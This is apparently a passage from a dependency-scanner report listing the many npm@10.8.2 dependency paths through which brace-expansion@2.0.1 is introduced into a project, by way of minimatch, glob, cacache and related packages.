  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
